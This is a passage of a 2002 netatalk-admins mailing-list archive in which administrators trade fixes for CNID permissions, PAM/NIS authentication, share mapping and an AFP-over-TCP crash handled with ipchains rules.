	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA24945
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 11 Jan 2002 23:43:23 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA19676
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 11 Jan 2002 23:43:23 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA19663
	for netatalk.administrators-members@umich.edu; Fri, 11 Jan 2002 23:43:22 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id XAA19635
	for <netatalk-admins@umich.edu>; Fri, 11 Jan 2002 23:43:21 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Fri, 11 Jan 2002 20:44:14 -0800
Message-Id: <sc3f4e9e.023@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Fri, 11 Jan 2002 20:43:59 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Painful lessons...
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id XAA24945

So one little thing that I wasn't aware of...

When using CNID, MAKE SURE everyone has write access to the .AppleDB directory and all the files it contains.  Things get very gross very quickly otherwise...

Going home after a nice 14 hour day...




----------------------------------------------
Bryn Hughes
Macintosh/Linux Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

From netatalk.administrators-errors@umich.edu  Sat Jan 12 14:03:21 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA20424
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 12 Jan 2002 14:03:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA11100
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 12 Jan 2002 14:03:21 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA11080
	for netatalk.administrators-members@umich.edu; Sat, 12 Jan 2002 14:03:20 -0500 (EST)
Received: from frank.gwc.org.uk (frank.gwc.org.uk [212.240.16.7])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA11024
	for <netatalk-admins@umich.edu>; Sat, 12 Jan 2002 14:03:19 -0500 (EST)
Received: from localhost (ali@localhost [127.0.0.1])
	by frank.gwc.org.uk (8.9.3/8.9.3) with ESMTP id TAA10885;
	Sat, 12 Jan 2002 19:03:16 GMT
Date: Sat, 12 Jan 2002 19:03:16 +0000 (GMT)
From: Alistair Riddell <ali@gwc.org.uk>
To: David Martin <d.m.a.martin@dundee.ac.uk>
cc: netatalk-admins@umich.edu
Subject: Re: Netatalk wont talk to NIS with SuSE 7.3
In-Reply-To: <50434.134.36.67.217.1010678237.squirrel@www.bioinformatics.dundee.ac.uk>
Message-ID: <Pine.LNX.4.21.0201121857030.29279-100000@frank.gwc.org.uk>
X-foo: bar
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Thu, 10 Jan 2002, David Martin wrote:

> I have just set up a SuSE 7.3 box with the netatalk package and NIS to a
> remote box..
> 
> Netatalk works fine as long as I only log in as a local users. it fails to
> authenticate against NIS complaining that it cannot find the user in the
> shadow password file.

I can't speak for SuSE since I've never used it but I have had netatalk
working just fine on Slackware using NIS for some time. (just so you know
it can work!)

It may help to know that I think it was necessary to use pam for
authentication so you may need to get and compile that if it is not part
of SuSE.

I use plain text passwords (naughty I know) and my /etc/pam.conf looks
like this:

#%PAM-1.0
netatalk auth    required       /lib/security/pam_shells.so
netatalk auth       required    /lib/security/pam_unix.so nodelay
netatalk account    required    /lib/security/pam_unix.so nodelay
#password   required    /lib/security/pam_cracklib.so
#netatalk password   required   /lib/security/pam_unix.so use_authtok
netatalk password   required    /lib/security/pam_unix.so use_authtok nis
netatalk session    required    /lib/security/pam_unix.so nodelay


I never could make changing passwords work, though I didn't try very hard.

HTH.

-- 
Alistair Riddell - BOFH
IT Manager, George Watson's College, Edinburgh
Tel: +44 131 446 6070    Fax: +44 131 452 8594
Microsoft - because god hates us


From netatalk.administrators-errors@umich.edu  Sat Jan 12 19:11:58 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA00595
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 12 Jan 2002 19:11:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA29275
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 12 Jan 2002 19:11:58 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA29261
	for netatalk.administrators-members@umich.edu; Sat, 12 Jan 2002 19:11:57 -0500 (EST)
Received: from gborocollege.edu (calvin.gborocollege.edu [192.154.62.152])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA29233
	for <netatalk-admins@umich.edu>; Sat, 12 Jan 2002 19:11:56 -0500 (EST)
Received: from [192.154.62.2] (account <wdozierapple@gborocollege.edu>)
  by gborocollege.edu (CommuniGate Pro WebUser 3.4.8)
  with HTTP id 1203740 for <netatalk-admins@umich.edu>; Sat, 12 Jan 2002 19:02:26 -0500
From: "Wayne Dozier" <wdozierapple@gborocollege.edu>
Subject: Netatalk to Samba Prob...
To: <netatalk-admins@umich.edu>
X-Mailer: CommuniGate Pro Web Mailer v.3.4.8
Date: Sat, 12 Jan 2002 19:02:26 -0500
Message-ID: <web-1203740@gborocollege.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit

I am having a problem getting my macs in a computer lab to
see all my shares on my Samba server.  When the user chooses
my server and logs in, it maps their home directory but not
the share directory.  Is there something in one of the
config files that I need to add.  I am new to netatalk so I
am sure there is something simple I am missing.  Keep in
mind that the PC's map just fine so I am confused as to what
may be happening.  Any ideas?

From netatalk.administrators-errors@umich.edu  Sat Jan 12 19:17:07 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id TAA00956
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 12 Jan 2002 19:17:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA10316
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 12 Jan 2002 19:17:07 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA10300
	for netatalk.administrators-members@umich.edu; Sat, 12 Jan 2002 19:17:06 -0500 (EST)
Received: from gborocollege.edu (calvin.gborocollege.edu [192.154.62.152])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id TAA10266
	for <netatalk-admins@umich.edu>; Sat, 12 Jan 2002 19:17:05 -0500 (EST)
Received: from [192.154.62.2] (account <wdozierapple@gborocollege.edu>)
  by gborocollege.edu (CommuniGate Pro WebUser 3.4.8)
  with HTTP id 1203748 for <netatalk-admins@umich.edu>; Sat, 12 Jan 2002 19:07:32 -0500
From: "Wayne Dozier" <wdozierapple@gborocollege.edu>
Subject: netatalk login at bootup
To: <netatalk-admins@umich.edu>
X-Mailer: CommuniGate Pro Web Mailer v.3.4.8
Date: Sat, 12 Jan 2002 19:07:32 -0500
Message-ID: <web-1203748@gborocollege.edu>
MIME-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit

Is there a way to set the mac to ask for the logon
information when It boots.  I am using os9.2 in my labs.  I
am just learning macs so please excuse the probably simple
question.  

Wayne Dozier
Network Administrator
Greensboro College

From netatalk.administrators-errors@umich.edu  Sun Jan 13 00:28:07 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id AAA11096
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 13 Jan 2002 00:28:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA14734
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 13 Jan 2002 00:28:07 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA14721
	for netatalk.administrators-members@umich.edu; Sun, 13 Jan 2002 00:28:06 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA14687
	for <netatalk-admins@umich.edu>; Sun, 13 Jan 2002 00:28:05 -0500 (EST)
Received: from [192.168.0.174] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id g0D5RiH14095;
	Sat, 12 Jan 2002 21:27:44 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 12 Jan 2002 21:27:31 -0800
Subject: Re: netatalk login at bootup
From: Steve Freitas <sflist@ihonk.com>
To: Wayne Dozier <wdozierapple@gborocollege.edu>, <netatalk-admins@umich.edu>
Message-ID: <B8665AC3.A7A4%sflist@ihonk.com>
In-Reply-To: <web-1203748@gborocollege.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi Wayne,

When you go to the Chooser, and you select the Netatalk server, then enter
your name and password, you then see a list of file shares. Those shares
should have checkboxes next to them. Check the ones you want to login to
automatically.

> From: "Wayne Dozier" <wdozierapple@gborocollege.edu>
> Date: Sat, 12 Jan 2002 19:07:32 -0500
> To: <netatalk-admins@umich.edu>
> Subject: netatalk login at bootup
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Sat, 12 Jan 2002 19:20:11 -0500 (EST)
> 
> Is there a way to set the mac to ask for the logon
> information when It boots.  I am using os9.2 in my labs.  I
> am just learning macs so please excuse the probably simple
> question.  
> 
> Wayne Dozier
> Network Administrator
> Greensboro College


From netatalk.administrators-errors@umich.edu  Sun Jan 13 00:32:58 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id AAA11257
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 13 Jan 2002 00:32:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA22221
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 13 Jan 2002 00:32:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA22207
	for netatalk.administrators-members@umich.edu; Sun, 13 Jan 2002 00:32:58 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA22178
	for <netatalk-admins@umich.edu>; Sun, 13 Jan 2002 00:32:56 -0500 (EST)
Received: from [192.168.0.174] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id g0D5WbH14336;
	Sat, 12 Jan 2002 21:32:37 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sat, 12 Jan 2002 21:32:22 -0800
Subject: Re: Netatalk to Samba Prob...
From: Steve Freitas <sflist@ihonk.com>
To: Wayne Dozier <wdozierapple@gborocollege.edu>, <netatalk-admins@umich.edu>
Message-ID: <B8665BE5.A7A5%sflist@ihonk.com>
In-Reply-To: <web-1203740@gborocollege.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

You need to look in the config file "AppleVolumes.default". Depending on
your installation, it may be under /etc/netatalk, or /etc/atalk. Or maybe
it's elsewhere. To find it, do:

[user@localhost]$ find / -name AppleVolumes.default

You'll find, at the end of that file, a tilde (~). That automatically gives
each user access to his/her home directory. If you want to map them to other
shares, the syntax is like this:

<path> <name>

So if you had an MP3 directory you wanted to share to your users that
resided in /home, and you wanted to name it "Music", you'd add a line like
this to AppleVolumes.default:

/home/mp3s Music

The user must log out of the netatalk server before any changes to
AppleVolumes.default take effect. Hope this helps.

Steve

> From: "Wayne Dozier" <wdozierapple@gborocollege.edu>
> Date: Sat, 12 Jan 2002 19:02:26 -0500
> To: <netatalk-admins@umich.edu>
> Subject: Netatalk to Samba Prob...
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Sat, 12 Jan 2002 19:15:10 -0500 (EST)
> 
> I am having a problem getting my macs in a computer lab to
> see all my shares on my Samba server.  When the user chooses
> my server and logs in, it maps their home directory but not
> the share directory.  Is there something in one of the
> config files that I need to add.  I am new to netatalk so I
> am sure there is something simple I am missing.  Keep in
> mind that the PC's map just fine so I am confused as to what
> may be happening.  Any ideas?


From netatalk.administrators-errors@umich.edu  Mon Jan 14 04:09:07 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA07384
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 Jan 2002 04:09:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA26868
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 Jan 2002 04:09:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA26859
	for netatalk.administrators-members@umich.edu; Mon, 14 Jan 2002 04:09:06 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA26824
	for <netatalk-admins@umich.edu>; Mon, 14 Jan 2002 04:09:04 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id KAA65695
          ; Mon, 14 Jan 2002 10:09:03 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C42AE95.68B9170D@unice.fr>
Date: Mon, 14 Jan 2002 10:10:29 +0000
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
CC: carle@unice.fr, gaudray@unice.fr
Subject: appletalk over tcp/ip CRASH my TCP/IP stack on linux redhat 7.2
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

i had a problem with transferring big files (>5Mb) from old macs power
pc 8200-9600 with appletalk over tcp/ip (port 548) to a new pentium 4
1.6 Ghz running linux redhat 7.2. Netatalk wasn't shipped with 7.2 and i
download the 7.1 version from redhat, but that's not the problem.
Things were OK with imac,g3,old g4,g4 cube,and when try with power pc it
begin transferring the big file and blocked, all users were
disconnected,and looking on the server show that i had no more internet
connection, i had to restart network services to bring up again the
interfaces. (/etc/rc.d/init.d/network restart)
Finally i find out that the problem was coming from afpovertcp with some
old macs and all the things go better.
My solution was recompiling a kernel with firewalling options (ipchains)
and REJECT afpovertcp coming from old macs, so the macs use simply
appletalk (ddp not afpovertcp) and the transfer of big files is a little
slower but works fine on the both sides), g3 and g4 users can use fast
afp over tcp transfer,and old macs users can transfer
 big files with no problems.
technically speaking,the firewall configuration looks like that:
ipchains -A input -s 134.59.51.56 -p tcp --destination-port 548 -j
REJECT
ipchains -A input -s 134.59.51.53 -p tcp --destination-port 548 -j
REJECT
/sbin/ipchains -L input
Chain input (policy ACCEPT):
target     prot opt     source                destination          
ports
REJECT     tcp  ------  mac5153.unice.fr     anywhere              any
->   afpovertcp
REJECT     tcp  ------  mac5156.unice.fr     anywhere              any
->   afpovertcp
finally i save the firewalling options in a file:
ipchains-save > /etc/my_firewall
and add a few lines in the /etc/rc.d/init.d/network file to be sure that
firewalling is active at each boot:
if [ -f /etc/my_firewall ]; then
        /sbin/ipchains-restore < /etc/my_firewall
    fi
note about difference between REJECTING and DENYING afpovertcp:
if you simply DENY the packets the old macs loop endlessly trying to
connect until the user stop by clicking on a button and then fall back
to appletalk, but when you REJECT packets the server send an ICMP
(Internet control message protocol) message to the mac saying that the
port is unreachable,and the mac use immediately simple appletalk,so
users see nothing at all.

if someone have already meet this problem or have a more simple
solution,i will be happy to know it.
-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Mon Jan 14 04:40:53 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id EAA08551
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 Jan 2002 04:40:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA21255
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 Jan 2002 04:40:53 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA21249
	for netatalk.administrators-members@umich.edu; Mon, 14 Jan 2002 04:40:52 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA21225
	for <netatalk-admins@umich.edu>; Mon, 14 Jan 2002 04:40:51 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id LAA15877;
	Mon, 14 Jan 2002 11:05:30 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 14 Jan 2002 10:40:19 +0100
Subject: Re: appletalk over tcp/ip CRASH my TCP/IP stack on linux redhat
	7.2
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Damien MATTEI <Damien.Mattei@unice.fr>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
CC: <carle@unice.fr>, <gaudray@unice.fr>
Message-ID: <B8686612.17F91%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C42AE95.68B9170D@unice.fr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 14 Jan 2002 10:10:29 +0000, Damien MATTEI wrote:

> Netatalk wasn't shipped with 7.2 and i download the 7.1 version from redhat,
> but that's not the problem.

Which version is included in 7.1? Have you tried the recent 1.5.0 from
Sourceforge, too? Maybe those problems have been addressed meanwhile?

> Things were OK with imac,g3,old g4,g4 cube,and when try with power pc it begin
> transferring the big file and blocked, all users were disconnected,

Were there any messages in the system's log?

> [...]
> if you simply DENY the packets the old macs loop endlessly trying to
> connect until the user stop by clicking on a button and then fall back
> to appletalk, 

The AppleShare client on Macs tries this as long as it is configured for
('TCP Lookup Timeout' value). You can adjust this value with Apple's
'AppleShare Client Setup':

<http://users.phg-online.de/tk/netatalk/AppleShareClientSetup.gif>

> [...] a more simple solution [...]

Hmm... If you just want to force those machines to connect via AppleTalk,
then you could set up the same shares with two different "server" entries in
afpd.conf (one with -notcp option). Or you use the -fqdn switch in afpd.conf
and force the older clients to do a wrong lookup on this address. Combined
with the "Verify TCP Address with Ping" option, this will also cause a
direct fallback to AppleTalk. But the last alternative is only working with
AppleShare clients 3.8.3 or above and is obviously not very smart.

I would prever to give netatalk 1.5 a try :-)

Regards,

Thomas

PS: RPMs for AFAIK RedHat 7.2 are available from here for example:
    <http://kraftwerk.adsl.dk/netatalk/>


From netatalk.administrators-errors@umich.edu  Mon Jan 14 06:48:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA13205
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 Jan 2002 06:48:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA21248
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 Jan 2002 06:48:16 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA21240
	for netatalk.administrators-members@umich.edu; Mon, 14 Jan 2002 06:48:16 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA21207
	for <netatalk-admins@umich.edu>; Mon, 14 Jan 2002 06:48:14 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id MAA141643
          ; Mon, 14 Jan 2002 12:47:50 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C42D3CA.1FDCD64A@unice.fr>
Date: Mon, 14 Jan 2002 12:49:14 +0000
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
CC: Damien MATTEI <Damien.Mattei@unice.fr>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>,
        carle@unice.fr, gaudray@unice.fr
Subject: Re: appletalk over tcp/ip CRASH my TCP/IP stack on linux redhat7.2
References: <B8686612.17F91%Thomas.Kaiser@phg-online.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Kaiser wrote:
> 
> On Mon, 14 Jan 2002 10:10:29 +0000, Damien MATTEI wrote:
> 
> > Netatalk wasn't shipped with 7.2 and i download the 7.1 version from redhat,
> > but that's not the problem.
> 
> Which version is included in 7.1? Have you tried the recent 1.5.0 from
> Sourceforge, too? Maybe those problems have been addressed meanwhile?
the version is netatalk-1.5pre2 from official linux redhat web site,i
don't want to make my users beta tester of sourceforge :-)
> 
> > Things were OK with imac,g3,old g4,g4 cube,and when try with power pc it begin
> > transferring the big file and blocked, all users were disconnected,
> 
> Were there any messages in the system's log?
of course they are:
Jan 10 09:55:59 pclgmch1 afpd[1248]: login dmattei (uid 500, gid 500)
Jan 10 09:56:37 pclgmch1 kernel: eth0: Promiscuous mode enabled.
Jan 10 09:56:37 pclgmch1 kernel: eth0: Promiscuous mode enabled.
Jan 10 09:56:59 pclgmch1 atalkd[1064]: as_timer gateway 401.1 down
Jan 10 09:56:59 pclgmch1 atalkd[1064]: rtmp_free: 401-410
Jan 10 09:56:59 pclgmch1 atalkd[1064]: rtmp_replace 411-420
Jan 10 09:56:59 pclgmch1 atalkd[1064]: rtmp_replace 421-430
Jan 10 09:56:59 pclgmch1 atalkd[1064]: rtmp_replace 431-440
Jan 10 09:56:59 pclgmch1 atalkd[1064]: rtmp_replace 441-450
Jan 10 09:56:59 pclgmch1 atalkd[1064]: rtmp_replace 451-460
Jan 10 09:56:59 pclgmch1 atalkd[1064]: rtmp_replace 461-470
Jan 10 09:57:29 pclgmch1 atalkd[1064]: as_timer gateway 401.1 down
Jan 10 09:57:29 pclgmch1 atalkd[1064]: rtmp_free: 411-420
Jan 10 09:57:29 pclgmch1 atalkd[1064]: rtmp_free: 421-430
Jan 10 09:57:29 pclgmch1 atalkd[1064]: rtmp_free: 431-440
Jan 10 09:57:29 pclgmch1 atalkd[1064]: rtmp_free: 441-450
Jan 10 09:57:29 pclgmch1 atalkd[1064]: rtmp_free: 451-460
Jan 10 09:57:29 pclgmch1 atalkd[1064]: rtmp_free: 461-470
Jan 10 09:57:29 pclgmch1 atalkd[1064]: as_timer last gateway down
at this point i have no more TCP/IP services !
401.1 is the Router:
nbplkup
...
PORT_401.1:FORE Router                        401.1:2
...
> 
> > [...]
> > if you simply DENY the packets the old macs loop endlessly trying to
> > connect until the user stop by clicking on a button and then fall back
> > to appletalk,
> 
> The AppleShare client on Macs tries this as long as it is configured for
> ('TCP Lookup Timeout' value). You can adjust this value with Apple's
> 'AppleShare Client Setup':
> 
> <http://users.phg-online.de/tk/netatalk/AppleShareClientSetup.gif>
where is this control panel ? i haven't this control panel on the 'old
macs', anyway, i haven't access to all the mac of the tower we are.
> 
> > [...] a more simple solution [...]
> 
> Hmm... If you just want to force those machines to connect via AppleTalk,
> then you could set up the same shares with two different "server" entries in
> afpd.conf (one with -notcp option). 
i already use this option but this force all the Mac to not use
appletalk over tcp, even the recent ones.
if i make two server one for old macs , users will see 2 servers ,if
they choose the wrong
my network is down... it's not very smart as you say :-)
>Or you use the -fqdn switch in afpd.conf
> and force the older clients to do a wrong lookup on this address. Combined
> with the "Verify TCP Address with Ping" option, this will also cause a
> direct fallback to AppleTalk. But the last alternative is only working with
> AppleShare clients 3.8.3 or above and is obviously not very smart.

-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Mon Jan 14 07:31:01 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA14618
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 14 Jan 2002 07:31:00 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA25373
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 14 Jan 2002 07:31:00 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA25363
	for netatalk.administrators-members@umich.edu; Mon, 14 Jan 2002 07:31:00 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA25190
	for <netatalk-admins@umich.edu>; Mon, 14 Jan 2002 07:30:51 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id NAA16766;
	Mon, 14 Jan 2002 13:55:37 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 14 Jan 2002 13:30:26 +0100
Subject: Re: appletalk over tcp/ip CRASH my TCP/IP stack on linux redhat7.2
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Damien MATTEI <Damien.Mattei@unice.fr>
CC: "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>, <carle@unice.fr>,
        <gaudray@unice.fr>
Message-ID: <B8688DF2.17FE6%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3C42D3CA.1FDCD64A@unice.fr>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 14 Jan 2002 12:49:14 +0000, Damien MATTEI wrote:

> Thomas Kaiser wrote:
>> 
>> [...] Have you tried the recent 1.5.0 from Sourceforge, too? Maybe those
>> problems have been addressed meanwhile?
> the version is netatalk-1.5pre2 from official linux redhat web site,i
> don't want to make my users beta tester of sourceforge :-)

Good lord! RedHat made you already an early beta tester as they included a
1.5*PRE*2 into their distribution! 1.5.0 is released now (latest PRE-version
was 1.5pre9!), compiles pretty well and many bugs have been fixed (details:
<http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/netatalk/netatalk/ChangeLog?
rev=1.127&content-type=text/vnd.viewcvs-markup>)

Don't trust your distribution in these things! (Same with eg. SuSE: netatalk
in 7.3 is built with enable-cnid!)

BTW: Did you realize that netatalk isn't a commercial tool (and you pay a
